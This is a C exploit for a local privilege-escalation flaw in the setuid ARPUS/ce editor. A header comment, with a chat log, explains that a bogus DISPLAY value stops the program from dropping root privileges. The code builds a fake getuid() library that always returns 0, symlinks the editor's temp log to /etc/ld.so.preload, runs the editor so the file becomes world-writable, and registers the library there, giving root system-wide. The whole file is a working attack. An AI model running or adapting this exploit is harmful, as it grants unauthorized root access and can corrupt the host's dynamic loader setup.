/*
 * Copyright Kevin Finisterre - ripped from my perl_ex.c
 * 
 * ** DISCLAIMER ** I am in no way responsible for your stupidity.
 * ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
 *
 * ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
 * ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
 * ** WARNING ** have a boot disk ready incase some thing goes wrong.
 *
 * Setuid ARPUS/ce exploit by KF - kf_lists[at]digitalmunition[dot]com - 4/21/05
 *
 * kfinisterre@kfinisterre01:~$ ls -al /usr/bin/ce 
 * -rwsr-xr-x  1 root bin 630010 Sep 27  2004 /usr/bin/ce
 *
 * Tested against http://168.158.26.15/ce/ce-0260-intel-pentium-linux-fedoracore3.tar.gz
 *  and ce-0254-intel-pentium-linux-redhat73.tar.Z
 *
 * (16:34:04) kfin80: this program is tricky 
 * (16:34:14) kfin80: it drops privs under certain conditions 
 * (16:34:20) kfin80: it was fucking me up for a second. =] 
 * (16:36:02) kfin80: kfinisterre@kfinisterre01:~$ ce a a 
 * (16:36:13) kfin80: kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
 * -rwxrwxrwx  1 kfinisterre kfinisterre 6594 Apr 21 16:35 /tmp/ce_edit_log
 * (16:36:16) kfin80: owned by ME 
 * (16:36:36) kfin80: kfinisterre@kfinisterre01:~$ export DISPLAY=yamom
 * kfinisterre@kfinisterre01:~$ rm /tmp/ce_edit_log
 * kfinisterre@kfinisterre01:~$ ce a a
 * ce: cannot connect to X server yamom (Success)
 * kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
 * -rwxrwxrwx  1 root kfinisterre 107 Apr 21 16:36 /tmp/ce_edit_log
 * (16:36:38) d4yj4y: hmmmmmm
 * (16:36:38) kfin80: owned by root 
 * (16:36:49) kfin80: the export of a faulty display makes it NOT drop privs. 
 *
 */


#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h>

int main(int *argc, char **argv)
{

        FILE *getuid;
        if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        
	fprintf(getuid, "int getuid(){return 0;}\n" );
        fclose(getuid);

        system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc");

	symlink(PRELOAD,"/tmp/ce_edit_log");
        umask(001); // I'm rw-rw-rw james bitch!

	putenv("DISPLAY=dmr0x!");  // GIMME ROOT BITCH!
        system("/usr/bin/ce");
        FILE *ld_so_preload;

        char preload[] = {
                "/tmp/getuid.so\n"
        };

        if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
        fclose(ld_so_preload);
}